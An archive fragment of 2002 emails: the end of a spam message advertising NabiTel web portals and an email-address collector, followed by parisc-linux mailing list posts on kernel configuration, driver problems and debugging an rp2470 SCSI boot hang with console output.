to sell or buy automobiles ? Cars, trucks, limos, airplanes, ships,....
All That Cars are here !

Register your vehicles now, it's free !
<http://www.AllThatCars.com/English.asp>=20

 <http://www.AllThatComputers.Com>  	Computers: Do you want to sell
or buy computers ? PCs, printers, scanners, servers, mainframes, ....
All That Computers are here !=20

Register your computers now, it's free !
<http://www.AllThatComputers.com/English.asp>=20

 <http://www.AllThatFoods.Com/English.asp>  =09
Food & Restaurants: Are you seeking for a nice place to eat ? Or do you
run a restaurant ? Foods of the world, restaurants of the world, ....
All That Foods are here !=20

Register your restaurant now, it's free !
<http://www.AllThatFoods.com/English.asp>=20

Have a nice day.  Thank you. =09

------=_NextPart_000_416C3_01C271DF.82181FE0
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: quoted-printable

<html><head>   <title>Nabitel information broadcast mail</title>   <meta =
http-equiv=3D"Content-Type" content=3D"text/html; =
charset=3Deuc-kr"></head><body bgcolor=3D"white" text=3D"blue" =
link=3D"blue" vlink=3D"purple" alink=3D"red"><br><div align=3D"center">  =
<center>   <table border=3D"0" width=3D"538" height=3D"47" =
cellspacing=3D"0" bgcolor=3D"#FFFFCC" cellpadding=3D"0">   <tr>      <td =
height=3D27 align=3Dcenter valign=3Dmiddle bgcolor=3D#00CCFF width=3D536 =
colspan=3D2>        <font color=3D"#FFFFFF" size=3D"2"><b>Sorry for =
interrupting you - click <a =
href=3D"mailto:mailer@ns1.nabitel.com">refuse</a> for no more =
mail...</b></font>        </td>   </tr>   <tr>      <td height=3D27 =
align=3Dcenter valign=3Dmiddle width=3D536 colspan=3D2 =
bordercolor=3D"#FFFFFF">        =A1=A1      </td>   </tr>   <tr>      =
<td height=3D27 align=3Dcenter valign=3Dmiddle bgcolor=3D#FF0000 =
width=3D536 colspan=3D2>        <font color=3D"#FFFFFF" size=3D"2"><b>- =
Welcome to <a href=3D"http://www.nabitel.com/English.asp" =
target=3D"_blank">NabiTel's</a>             software products and portal =
services -</b></font>         </td>   </tr>   <tr>      <td height=3D26 =
align=3Dcenter valign=3Dmiddle bgcolor=3D#EEEEEE width=3D534 =
bordercolor=3D"#00FFFF" colspan=3D"2">        <b><font color=3D"#00CCFF" =
size=3D"2">Software Products</font></b>       </td>   </tr>   <tr>      =
<td height=3D72 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFFF00 =
width=3D160 bordercolor=3D"#00FFFF">        <p align=3D"center"><font =
size=3D"2"><a href=3D"http://www.Nabitel.com/English.asp" =
target=3D"_blank"><img =
src=3Dhttp://www.allthatcomputers.com/image/robot3.jpg width=3D156 =
height=3D91 align=3Dleft></a></font></p>      </td>  </center>      <td =
height=3D72 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFFF00 width=3D374 =
bordercolor=3D"#00FFFF">        <p align=3D"center"><font =
size=3D"2"><b>Web Robot:</b> also called web         spider or web =
crawler, collects useful web page informations by         navigating =
world wide web sites. </font></p>        <p align=3D"center"><b><a =
href=3D"http://www.nabitel.com/English.asp" target=3D"_blank"><font =
size=3D"2">Download         free trial version now !</font></a></b></p>  =
    </td>   </tr>  <center>   <tr>      <td height=3D53 align=3Dcenter =
valign=3Dmiddle bgcolor=3D#FFCCFF width=3D160>        <font =
size=3D"2"><a href=3D"http://www.Nabitel.com/English.asp" =
target=3D"_blank"><img =
src=3Dhttp://www.allthatcomputers.com/image/envelope4.jpg width=3D155 =
height=3D95 align=3Dleft></a></font>      </td>      <td height=3D53 =
align=3Dcenter valign=3Dmiddle bgcolor=3D#FFCCFF width=3D374>        <p =
align=3D"center"><font size=3D"2"><b>eMail ID Collector:</b> Collects    =
      email ids publicly opened on various web pages, with good =
intention. </font></p>        <p align=3D"center"><b><a =
href=3D"http://www.nabitel.com/English.asp" target=3D"_blank"><font =
size=3D"2">Download         free trial version now !</font></a></b></p>  =
    </td>   </tr>   <tr>      <td height=3D27 align=3Dcenter =
valign=3Dmiddle bgcolor=3D#EEEEEE width=3D534 colspan=3D"2">        =
<b><font color=3D"#00CCFF" size=3D"2">Portal Services</font></b>       =
</td>   </tr>   <tr>      <td height=3D81 align=3Dcenter valign=3Dmiddle =
bgcolor=3D#FFFF00 width=3D160>        <font size=3D"2"><a =
href=3D"http://www.nabitel.com/English.asp" target=3D"_blank"><img =
src=3Dhttp://www.allthatcomputers.com/image/=B3=AA=BA=F102.jpg =
width=3D153 height=3D86 align=3Dleft></a></font>      </td>      <td =
height=3D81 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFFF00 =
width=3D374>        <p align=3D"center"><font size=3D"2"><b>Web =
Portal:</b> Do you have your own         home page and want to broadcast =
it all over the world ? Register your         home page to NabiTel =
Portal Now !! (nabi=3Da butterfly)</font></p>        <p =
align=3D"center"><b><a href=3D"http://www.nabitel.com/English.asp" =
target=3D"_blank"><font size=3D"2">Register          your home page now, =
it's free !</font></a></b></p>       </td>   </tr>   <tr>      <td =
height=3D81 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFCCFF =
width=3D160>        <font size=3D"2"><a =
href=3D"http://www.AllThatCars.com/English.asp" target=3D"_blank"><img =
src=3Dhttp://www.allthatcomputers.com/image/porche2001a.jpg width=3D153 =
height=3D86 align=3Dleft></a></font>      </td>      <td height=3D81 =
align=3Dcenter valign=3Dmiddle bgcolor=3D#FFCCFF width=3D374>        <p =
align=3D"center"><font size=3D"2"><b>Automobiles:</b> Do you want to =
sell            or buy automobiles ? Cars, trucks, limos, airplanes, =
ships,....&nbsp;            All That Cars are here !</font></p>          =
 <p align=3D"center"><b><a =
href=3D"http://www.AllThatCars.com/English.asp" target=3D"_blank"><font =
size=3D"2">Register         your vehicles now, it's free =
!</font></a></b></p>      </td>   </tr>   <tr>      <td height=3D54 =
align=3Dcenter valign=3Dmiddle bgcolor=3D#FFFF00 width=3D160>       =
<font size=3D"2"><a href=3D"http://www.AllThatComputers.Com" =
target=3D"_blank"><img =
src=3Dhttp://www.allthatcomputers.com/image/ibm_pc02.gif width=3D152 =
height=3D83 align=3Dleft></a></font>      </td>      <td height=3D54 =
align=3Dcenter valign=3Dmiddle bgcolor=3D#FFFF00 width=3D374>        <p =
align=3D"center"><font size=3D"2"><b>Computers:</b> Do you want to sell =
or         buy computers ? PCs, printers, scanners, servers, mainframes, =
... All         That Computers are here ! </font></p>        <p =
align=3D"center"><b><a =
href=3D"http://www.AllThatComputers.com/English.asp" =
target=3D"_blank"><font size=3D"2">Register         your computers now, =
it's free !</font></a></b></p>      </td>   </tr>   <tr>      <td =
height=3D66 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFCCFF =
width=3D160>       <font size=3D"2"><a =
href=3D"http://www.AllThatFoods.Com/English.asp" target=3D"_blank"><img =
src=3Dhttp://www.allthatcomputers.com/image/=C3=B6=C6=C701.JPG =
width=3D153 height=3D81 align=3Dleft></a></font>      </td>  </center>   =
   <td height=3D66 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFCCFF =
width=3D374>        <p><font size=3D"2"><b>Food &amp; Restaurants:</b> =
Are you         seeking for a nice place to eat ? Or do you run a =
restaurant ? Foods of         the world, restaurants of the world, .... =
All That Foods are here ! </font></p>      <p align=3D"center"><b><a =
href=3D"http://www.AllThatFoods.com/English.asp" target=3D"_blank"><font =
size=3D"2">Register       your restaurant now, it's free =
!</font></a></b></p>      </td>   </tr>  <center>   <tr>      <td =
width=3D532 bgcolor=3D#FF0000 valign=3Dmiddle height=3D27 align=3Dcenter =
colspan=3D"2">        <b><font color=3D"#FFFFFF" size=3D"2">Have a nice =
day.&nbsp; Thank you.</font></b>       </td>   </tr>      </table>  =
</center>  </div></body></html>
------=_NextPart_000_416C3_01C271DF.82181FE0--


From - Thu Nov 08 21:25:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware features of 712-60 ?
Date: Sat, 12 Oct 2002 11:18:17 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <OE58WPj5T9S6Fmy332G000068d3@hotmail.com>
References: <Pine.LNX.4.21.0210111156240.24681-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621825 15620 80.91.229.3 (22 Nov 2014 02:03:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:45 +0000 (UTC)
To: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk@pp.fishpool.fi>,
	"parisc-linux" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 12 03:22:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hotmail.com (oe58.law4.hotmail.com [216.33.148.154])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76DF44829
	for <parisc-linux@parisc-linux.org>; Sat, 12 Oct 2002 03:22:29 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sat, 12 Oct 2002 02:22:06 -0700
X-Originating-IP: [213.224.83.142]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 12 Oct 2002 09:22:06.0719 (UTC) FILETIME=[D56668F0:01C271D0]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16473

Hello,

You can find my config for my 712/60 on:
http://lists.parisc-linux.org/hypermail/parisc-linux/8454.html
I don't think it will be very hard to create a custom config, as the 712/60
doesn't contain that much hardware (at least mine doesn't). The config you
find when following the URL works fine, but I can imagine you can strip it
down even more, depending on the stuff you need.
Hope this helps.


regards,

Kenneth

----- Original Message -----
From: "Martin-ric Racine" <q-funk@pp.fishpool.fi>
To: "parisc-linux" <parisc-linux@parisc-linux.org>
Sent: Friday, October 11, 2002 11:03 AM
Subject: [parisc-linux] hardware features of 712-60 ?


Greetings,

I'm compiling my own kernel and I have some questions.  My goal is to
produce a
kernel that is as lightweight as possible, which implies disabling support
for
hardware that is not found on this 712-60.

At this point, I apt-got kernel-source-2.4.19-hppa and unpacked it, and
already
selected the 7100LC/7300LC CPU option.  What else?  Has anybody compiled a
FAQ
on parisc-linux that provides .config files optimized for each PA-RISC
hardware
or, alternately, a checklist of hardware one finds in product xxx,
referenced by
Linux kernel feature or module name?

PS:  I don't subscribe to parisc-linux.  Please CC replies to this address.

--
Martin-ric Racine, Espoo, Finland.
"Kas sa tahad mind? - Nej!!! r du en idiot?!!"
http://www.pp.fishpool.fi/~q-funk/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:25:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Jantzen <chris-parisc@maybe.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 3c597 Questions
Date: Sat, 12 Oct 2002 06:43:43 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20021012134343.GM841@maybe.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621825 15624 80.91.229.3 (22 Nov 2014 02:03:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 12 07:43:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.maybe.net (12-231-234-80.client.attbi.com [12.231.234.80])
	by dsl2.external.hp.com (Postfix) with SMTP id 1A5DA4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Oct 2002 07:43:53 -0600 (MDT)
Original-Received: (qmail 17925 invoked by uid 1000); 12 Oct 2002 13:43:43 -0000
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16474

I have a couple 3com 3c597's (EISA) in a C180 and even touching the
3c59x driver tends to cause bad things to happen. Has anyone ever
touched these drivers? Where would I start doing serious debugging? I
can't even tell you if it's doing an HPMC or not, much less what the
oops is actually saying. FAQ's on kernel debugging? Thanks!

-- 
chris jantzen kb7rnl =->         __O
Insert witty comment here.     _`\<,_
http://www.maybe.net/         (*)/ (*)


From - Thu Nov 08 21:25:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yves Bodack" <bodack@stud.fh-heilbronn.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware features of 712-60 ?
Date: Sat, 12 Oct 2002 16:08:01 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <003101c271f8$c68aabc0$1f96078d@acid>
References: <20021011132811.6e84c1d8.varenet@esiee.fr><Pine.LNX.4.21.0210111454200.24681-100000@hal.pp.fishpool.fi> <20021011152446.506e4f20.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621826 15627 80.91.229.3 (22 Nov 2014 02:03:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:46 +0000 (UTC)
To: "Thibaut VARENE" <varenet@esiee.fr>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 12 08:07:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns1.rz.fh-heilbronn.de (dns1.rz.fh-heilbronn.de [141.7.1.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E4584829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Oct 2002 08:07:14 -0600 (MDT)
Original-Received: from lisa.stud.fh-heilbronn.de (lisa.stud.fh-heilbronn.de [141.7.11.14])
	by dns1.rz.fh-heilbronn.de (8.12.2/8.12.2) with ESMTP id g9CE79Ax018358;
	Sat, 12 Oct 2002 16:07:09 +0200 (MET DST)
Original-Received: from acid (acid.stuwo.fh-heilbronn.de [141.7.150.31])
	by lisa.stud.fh-heilbronn.de (8.12.2/8.12.2) with SMTP id g9CE78IC001593;
	Sat, 12 Oct 2002 16:07:08 +0200 (MEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16475

From: "Thibaut VARENE" <varenet@esiee.fr>
Subject: Re: [parisc-linux] hardware features of 712-60 ?


> > Last online version on parisc-linux is dated from 2002-07-15.
> hmm, I'm pretty interested by the URL actually.
> This howto has _never_ been published on p-l.org.
You can find it on the very bottom of
http://www.parisc-linux.org/documentation/index.html

Greetings Yves...



From - Thu Nov 08 21:25:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Now....for the X.
Date: Sat, 12 Oct 2002 18:16:38 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <3DA86706.5070707@freebel.net>
References: <009101c27156$075a9be0$db0b0aa7@pcaktel083>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621826 15628 80.91.229.3 (22 Nov 2014 02:03:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jeffo <jeffo@pop.hsbc.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 12 11:11:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (mail.tiscali.be [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 656AC4829
	for <parisc-linux@parisc-linux.org>; Sat, 12 Oct 2002 11:11:04 -0600 (MDT)
Original-Received: from freebel.net (62.235.68.131) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3DA3C51B0004B360; Sat, 12 Oct 2002 19:03:46 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020913 Debian/1.1-1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16476


Jeffo wrote:
> Hello.
> 
> 
> Any hints on what exaclty hardware options to use while configuring the X
> for a 712/60?

Just install Xfree86 packages you would and grab a config file frm 
ftp.parisc-linux.org (a one using 8 bps colors).

For the window manager I would advise you to consider a light one as 
xfce (which I use) or search in the mailing list for other references :)

Cheers,
	Joel



From - Thu Nov 08 21:25:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rp2470 hang...getting closer
Date: Sat, 12 Oct 2002 22:40:33 -0600 (MDT)
Lines: 291
Approved: news@gmane.org
Message-ID: <20021013044033.88A544829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621826 15631 80.91.229.3 (22 Nov 2014 02:03:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 12 22:40:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 88A544829; Sat, 12 Oct 2002 22:40:33 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16477

Hi friends of rp2470,

I'm getting closer to figuring out why rp2470 (a500-6x) hangs at boot time.
Here's the sequence I see so far:
o scsi_register_host() acquires io_request_lock (tpnt->use_new_eh_code is true)
o scsi_register_host() calls tpnt->detect(tpnt)
o detect() points to sym53c8xx_detect()
o sym53c8xx_detect() calls sym_attach() 
o sym_attach() initializes s.timer to point at sym53c8xx_timer but
  directly calls sym_timer() to kick off the self-arming timer.
  timer will pop in 0.5 seconds.
o other interfaces are detected/initialized.
o timer_interrupt() calls timer_bh() and invokes sym53c8xx_timer().
o sym53c8xx_timer() attempts to reacquire the io_request_lock.  checkmate.

The problem is we shouldn't see *any* interrupts, not even timers.
scsi_register_host() used spin_lock_irqsave() to acquire io_request_lock.
Either someone is clobbering the irqsave or it's being ignored.
That's the part the still needs to be worked out.

[ Does sym2 driver have a lock-related bug?
scsi_register_host() only acquires io_request_lock if
tpnt->use_new_eh_code is true. I wonder why sym2 driver advertises 
"New EH Code" but then uses io_request_lock as well. ]

My A500-4X boots and has 4 built-in SCSI ports (1 53c896 and 1 53c876).
The A500-6X which hangs has an additional add-on 53c896.
I suspect the two extra SCSI ports make the difference.

I've posted a patch on
	ftp://dsl2.external.hp.com/patches/rp2470-smp-hang.diff
Note it *removes* io_request_lock completely from sym2 driver.
The rp2470 boots with this patch though it doesn't fix the root cause.

The appended console output uses this patch *except* it calls
sym_timer() instead of add_timer() to trace original behavior.
Using 10second delay for the first timer pop also "works" (it boots)
with io_request_lock intact in sym2 driver.

I'll look at this some more if no one has ideas on why timer_bh()
is invoked (besides timer_interrupt).

grant


[ "ret 270725880" == scsi_register_module+50 == caller of io_r*_lock owner ]

grundler@gsyprf11:~$ dmesg
Linux version 2.4.19-pa21 (grundler@gsyprf11.external.hp.com) (gcc version 3.0) #17 SMP Sat Oct 12 18:02:20 PDT 2002
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00005e20 00000491 00000000 00000001 73a33d02 100000f0 00000008 000000b2 000000b2
vers  00000203
CPUID vers 19 rev 8 (0x00000268)
capabilities 0x5
model 9000/800/A500-6X
Total Memory: 1024 Mb
pagetable_init
On node 0 totalpages: 262144
zone(0): 262144 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sdb3 HOME=/ console=ttyS0 TERM=linux palo_kernel=3/boot/vmlinux-2.4.19-pa21
Initialized PDC Console for debugging.
Calibrating delay loop... 1297.61 BogoMIPS
Memory: 1019504k available
Dentry cache hash table entries: 131072 (order: 9, 2097152 bytes)
Inode cache hash table entries: 65536 (order: 8, 1048576 bytes)
Mount-cache hash table entries: 16384 (order: 6, 262144 bytes)
Buffer-cache hash table entries: 65536 (order: 7, 524288 bytes)
Page-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Searching for devices...
Found devices:
1. Crescendo 650 W2 (0) at 0xfffffffffffa0000 [160], versions 0x5e2, 0x0, 0x4
2. Crescendo 650 W2 (0) at 0xfffffffffffa2000 [162], versions 0x5e2, 0x0, 0x4
3. Astro BC Runway Port (12) at 0xfffffffffed00000 [0], versions 0x582, 0x0, 0xb
4. Elroy PCI Bridge (13) at 0xfffffffffed30000 [0/0], versions 0x782, 0x0, 0xa
5. Elroy PCI Bridge (13) at 0xfffffffffed34000 [0/2], versions 0x782, 0x0, 0xa
6. Elroy PCI Bridge (13) at 0xfffffffffed38000 [0/4], versions 0x782, 0x0, 0xa
7. Elroy PCI Bridge (13) at 0xfffffffffed3c000 [0/6], versions 0x782, 0x0, 0xa
8. Memory (1) at 0xfffffffffed08000 [8], versions 0x9b, 0x0, 0x9
CPU(s): 2 x PA8700 (PCX-W2) at 650.000000 MHz
SBA found Astro 2.1 at 0xfffffffffed00000
lba version TR4.0 (0x5) found at 0xfffffffffed30000
lba range[2] : ignoring GMMIO (0xfffffff804000000)
lba version TR4.0 (0x5) found at 0xfffffffffed34000
lba range[2] : ignoring GMMIO (0xfffffff904000000)
lba version TR4.0 (0x5) found at 0xfffffffffed38000
lba range[2] : ignoring GMMIO (0xfffffffa04000000)
lba version TR4.0 (0x5) found at 0xfffffffffed3c000
lba range[2] : ignoring GMMIO (0xfffffffb04000000)
POSIX conformance testing by UNIFIX
SMP: bootstrap CPU ID is 0
FP[1] enabled: Rev 1 Model 19
SMP: Total 2 of 2 processors activated (2595.23 BogoMIPS noticed).
Waiting on wait_init_idle (map = 0x2)
All processors have done init_idle
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch support not available.
Performance monitoring counters enabled for Crescendo 650 W2
Starting kswapd
Journalled Block Device driver loaded
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Redundant entry in serial pci_table.  Please send the output of
lspci -vv, this message (103c,1048,103c,104b)
and the manufacturer and name of serial board or modem board
to serial-pci-info@lists.sourceforge.net.
ttyS00 at iomem 0xfffffffff8000000 (irq = 132) is a 16550A
ttyS01 at iomem 0xfffffffff8000008 (irq = 132) is a 16550A
ttyS02 at iomem 0xfffffffff8000010 (irq = 132) is a 16550A
ttyS03 at iomem 0xfffffffff8000038 (irq = 132) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre11 (May 11, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
eth0: Digital DS21143 Tulip rev 65 at 0x80, 00:30:6E:26:61:A3, IRQ 128.
eth1: Digital DS21143 Tulip rev 65 at 0x30000, 00:10:83:F6:5D:F6, IRQ 320.
SCSI subsystem driver Revision: 1.00
scsi_register_host: acquiring iorl
sym.0.2.0: setting PCI_COMMAND_MASTER...
sym.0.2.1: setting PCI_COMMAND_MASTER...
sym.0.1.0: setting PCI_COMMAND_MASTER...
sym.32.0.0: setting PCI_COMMAND_MASTER...
sym.32.0.1: setting PCI_COMMAND_MASTER...
sym0: <875> rev 0x37 on pci bus 0 device 2 function 0 irq 130
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
sym_attach: settle flag 1  time 0x2e06  iorl 0
sym1: <875> rev 0x37 on pci bus 0 device 2 function 1 irq 131
sym1: No NVRAM, ID 7, Fast-20, SE, parity checking
sym1: SCSI BUS has been reset.
sym_attach: settle flag 1  time 0x2e1d  iorl 0
sym2: <896> rev 0x7 on pci bus 0 device 1 function 0 irq 129
sym2: No NVRAM, ID 7, Fast-40, LVD, parity checking
sym2: SCSI BUS has been reset.
sym_attach: settle flag 1  time 0x2e2c  iorl 0
sym3: <896> rev 0x7 on pci bus 0 device 1 function 1 irq 130
